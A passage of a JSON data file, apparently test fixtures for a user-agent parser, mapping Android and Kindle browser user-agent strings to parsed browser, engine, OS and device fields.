D5503 Build/14.4.A.0.157) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.141 Mobile Safari/537.36" : { "beta" : ".1916.141", "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (D5503)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "major" : "35", "match" : [ "device", "android", "mobile", "webkit", "chrome" ], "minor" : ".0", "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "public_beta" : ".1916.141", "public_major" : "35", "public_minor" : ".0", "public_version" : 35, "version" : 35 }, "Mozilla/5.0 (Linux; Android 4.4.4; D6503 Build/23.0.1.A.0.167) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (D6503)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.4; Nexus 10 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.92 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2272.92", "browser_major" : "41", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android tablet (Nexus 10)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "tablet", "chrome", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.4; SAMSUNG-SM-G900A Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SAMSUNG-SM-G900A)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.4; SAMSUNG-SM-N900A Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36 GSA/4.2.16.87075793.arm" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "33", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SAMSUNG-SM-N900A)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.4; SAMSUNG-SM-N910A Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36 GSA/4.2.16.87075793.arm" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "33", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SAMSUNG-SM-N910A)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.4; SGH-M919 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SGH-M919)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.4; SM-G900V Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36 GSA/4.2.16.87075793.arm" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "33", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SM-G900V)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.4; SM-N900V Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SM-N900V)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.4; XT1030 Build/SU6-7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (XT1030)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.4; XT1031 Build/KXB21.14-L1.57) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.89 Mobile Safari/537.36" : { "beta" : ".2214.89", "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (XT1031)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "major" : "40", "match" : [ "device", "android", "mobile", "webkit", "chrome" ], "minor" : ".0", "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "public_beta" : ".2214.89", "public_major" : "40", "public_minor" : ".0", "public_version" : 40, "version" : 40 }, "Mozilla/5.0 (Linux; Android 4.4.4; XT1032 Build/KXB21.14-L1.40) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.89 Mobile Safari/537.36" : { "beta" : ".2214.89", "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (XT1032)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "major" : "40", "match" : [ "device", "android", "mobile", "webkit", "chrome" ], "minor" : ".0", "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "public_beta" : ".2214.89", "public_major" : "40", "public_minor" : ".0", "public_version" : 40, "version" : 40 }, "Mozilla/5.0 (Linux; Android 4.4.4; XT1033 Build/KXB21.14-L1.40) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.89 Mobile Safari/537.36" : { "beta" : ".2214.89", "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (XT1033)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "major" : "40", "match" : [ "device", "android", "mobile", "webkit", "chrome" ], "minor" : ".0", "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "public_beta" : ".2214.89", "public_major" : "40", "public_minor" : ".0", "public_version" : 40, "version" : 40 }, "Mozilla/5.0 (Linux; Android 4.4.4; XT1080 Build/SU4.21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (XT1080)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.4; XT1254 Build/SU2-12) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (XT1254)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-G900P Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.6 Chrome/28.0.1500.94 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1500.94", "browser_major" : "28", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "device" : "android", "device_string" : "Android (SAMSUNG SM-G900P)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N900P Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1500.94", "browser_major" : "28", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "device" : "android", "device_string" : "Android (SAMSUNG SM-N900P)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 5.0.1; HTC One_M8 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (HTC One_M8)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".1", "os_major" : "5", "os_minor" : ".0", "os_string" : "Android", "os_version" : "5.0", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 5.0.1; HTC6525LVW Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (HTC6525LVW)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".1", "os_major" : "5", "os_minor" : ".0", "os_string" : "Android", "os_version" : "5.0", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 5.0.1; LG-D850 Build/LRX21Y) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (LG-D850)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".1", "os_major" : "5", "os_minor" : ".0", "os_string" : "Android", "os_version" : "5.0", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 5.0.1; Nexus 5 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (Nexus 5)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".1", "os_major" : "5", "os_minor" : ".0", "os_string" : "Android", "os_version" : "5.0", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 5.0.1; Nexus 5 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.89 Mobile Safari/537.36" : { "beta" : ".2214.89", "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (Nexus 5)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "major" : "40", "match" : [ "device", "android", "mobile", "webkit", "chrome" ], "minor" : ".0", "os" : "android", "os_beta" : ".1", "os_major" : "5", "os_minor" : ".0", "os_string" : "Android", "os_version" : "5.0", "public_beta" : ".2214.89", "public_major" : "40", "public_minor" : ".0", "public_version" : 40, "version" : 40 }, "Mozilla/5.0 (Linux; Android 5.0.2; HTCONE Build/LRX22F) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/28.0.0.20.16;]" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "37", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (HTCONE)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "5", "os_minor" : ".0", "os_string" : "Android", "os_version" : "5.0", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 5.0.2; Nexus 7 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Safari/537.36 YJApp-ANDROID jp.co.yahoo.android.yjtop/10.0.31" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "37", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android tablet (Nexus 7)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "tablet", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "5", "os_minor" : ".0", "os_string" : "Android", "os_version" : "5.0", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1847.76", "browser_major" : "34", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SAMSUNG SM-G900P)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : "", "os_major" : "5", "os_minor" : ".0", "os_string" : "Android", "os_version" : "5.0", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 5.0; SM-G900V Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SM-G900V)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : "", "os_major" : "5", "os_minor" : ".0", "os_string" : "Android", "os_version" : "5.0", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 5.1; Nexus 5 Build/LMY47D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2272.96", "browser_major" : "41", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (Nexus 5)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : "", "os_major" : "5", "os_minor" : ".1", "os_string" : "Android", "os_version" : "5.1", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 1.5; en-gb; HTC Hero Build/CUPCAKE) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1" : { "browser" : "safari", "browser_major" : "3", "browser_minor" : ".1", "browser_string" : "Mobile Safari", "country" : "GB", "device" : "android", "device_string" : "Android (HTC Hero)", "engine" : "webkit", "engine_beta" : "+", "engine_major" : "528", "engine_minor" : ".5", "engine_string" : "WebKit", "engine_version" : "528.5", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : "", "os_major" : "1", "os_minor" : ".5", "os_string" : "Android", "os_version" : "1.5", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 1.6; en-us; xpndr_ihome Build/DRD35) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1" : { "browser" : "safari", "browser_major" : "3", "browser_minor" : ".1", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (xpndr_ihome)", "engine" : "webkit", "engine_beta" : "+", "engine_major" : "528", "engine_minor" : ".5", "engine_string" : "WebKit", "engine_version" : "528.5", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : "", "os_major" : "1", "os_minor" : ".6", "os_string" : "Android", "os_version" : "1.6", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 2.3.4; en-gb; SonyEricssonMT15iv Build/4.0.2.A.0.62) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "GB", "device" : "android", "device_string" : "Android (SonyEricssonMT15iv)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "533", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "533.1", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "2", "os_minor" : ".3", "os_string" : "Android", "os_version" : "2.3", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; DROID3 Build/5.5.1_84_D3G-66_M2-10) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" : { "beta" : ".1", "browser" : "safari", "browser_string" : "Mobile Safari", "device" : "android", "device_string" : "Android (DROID3)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "533", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "533.1", "language" : "EN", "major" : 5, "match" : [ "device", "android", "mobile", "safari", "webkit", "mobile_safari" ], "minor" : ".33", "os" : "android", "os_beta" : ".4", "os_major" : "2", "os_minor" : ".3", "os_string" : "Android", "os_version" : "2.3", "public_major" : "4", "public_minor" : ".0", "public_version" : 4, "version" : 5.33 }, "Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; Kindle Fire Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Safari/533.1" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Safari", "country" : "US", "device" : "android", "device_string" : "Kindle Fire", "engine" : "webkit", "engine_beta" : "", "engine_major" : "533", "engine_minor" : ".1", "engine_string" : "WebKit", "language" : "EN", "match" : [ "device", "android", "kindlefire", "tablet", "safari", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "2", "os_minor" : ".3", "os_string" : "Android" }, "Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; NOOK BNTV250 Build/GINGERBREAD 1.4.3) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Safari/533.1" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Safari", "country" : "US", "device" : "android", "device_string" : "Android tablet (NOOK BNTV250)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "533", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "533.1", "language" : "EN", "match" : [ "device", "android", "tablet", "safari", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "2", "os_minor" : ".3", "os_string" : "Android", "os_version" : "2.3", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; Silk/1.0.13.81_10003810) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Silk-Accelerated=true" : { "browser" : "silk", "browser_beta" : ".13.81_10003810", "browser_major" : "1", "browser_minor" : ".0", "browser_string" : "Silk", "country" : "US", "device" : "android", "device_string" : "Kindle Fire", "engine" : "webkit", "engine_beta" : "", "engine_major" : "533", "engine_minor" : ".1", "engine_string" : "WebKit", "language" : "EN", "match" : [ "device", "android", "kindlefire", "mobile", "silk", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "2", "os_minor" : ".3", "os_string" : "Android" }, "Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; LG-L38C Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.0/1.2" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (LG-L38C)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "533", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "533.1", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".6", "os_major" : "2", "os_minor" : ".3", "os_string" : "Android", "os_version" : "2.3", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 2.3.6; nl-nl; GT-S5360 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "NL", "device" : "android", "device_string" : "Android (GT-S5360)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "533", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "533.1", "language" : "NL", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".6", "os_major" : "2", "os_minor" : ".3", "os_string" : "Android", "os_version" : "2.3", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; ZTE V768 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (ZTE V768)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "533", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "533.1", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".7", "os_major" : "2", "os_minor" : ".3", "os_string" : "Android", "os_version" : "2.3", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFOT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.45 like Chrome/37.0.2026.117 Safari/537.36" : { "browser" : "silk", "browser_string" : "Silk", "device" : "android", "device_string" : "Kindle Fire", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "major" : "3", "match" : [ "device", "android", "tablet", "webkit", "silk", "kindlefire" ], "minor" : ".45", "os" : "android", "os_beta" : ".3", "os_major" : "4", "os_minor" : ".0", "os_string" : "Android", "os_version" : "4.0", "public_major" : "3", "public_minor" : ".45", "public_version" : 3.45, "version" : 3.45 }, "Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFOT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.46 like Chrome/37.0.2026.117 Safari/537.36" : { "browser" : "silk", "browser_major" : "3", "browser_minor" : ".46", "browser_string" : "Silk", "country" : "US", "device" : "android", "device_string" : "Kindle Fire", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "tablet", "silk", "webkit", "kindlefire" ], "os" : "android", "os_beta" : ".3", "os_major" : "4", "os_minor" : ".0", "os_string" : "Android", "os_version" : "4.0", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFTT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.44 like Chrome/37.0.2026.117 Safari/537.36" : { "browser" : "silk", "browser_string" : "Silk", "device" : "android", "device_string" : "Kindle Fire", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "major" : "3", "match" : [ "device", "android", "tablet", "webkit", "silk", "kindlefire" ], "minor" : ".44", "os" : "android", "os_beta" : ".3", "os_major" : "4", "os_minor" : ".0", "os_string" : "Android", "os_version" : "4.0", "public_major" : "3", "public_minor" : ".44", "public_version" : 3.44, "version" : 3.44 }, "Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFTT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.46 like Chrome/37.0.2026.117 Safari/537.36" : { "browser" : "silk", "browser_major" : "3", "browser_minor" : ".46", "browser_string" : "Silk", "country" : "US", "device" : "android", "device_string" : "Kindle Fire", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "tablet", "silk", "webkit", "kindlefire" ], "os" : "android", "os_beta" : ".3", "os_major" : "4", "os_minor" : ".0", "os_string" : "Android", "os_version" : "4.0", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; C5170 Build/IML77) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (C5170)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".0", "os_string" : "Android", "os_version" : "4.0", 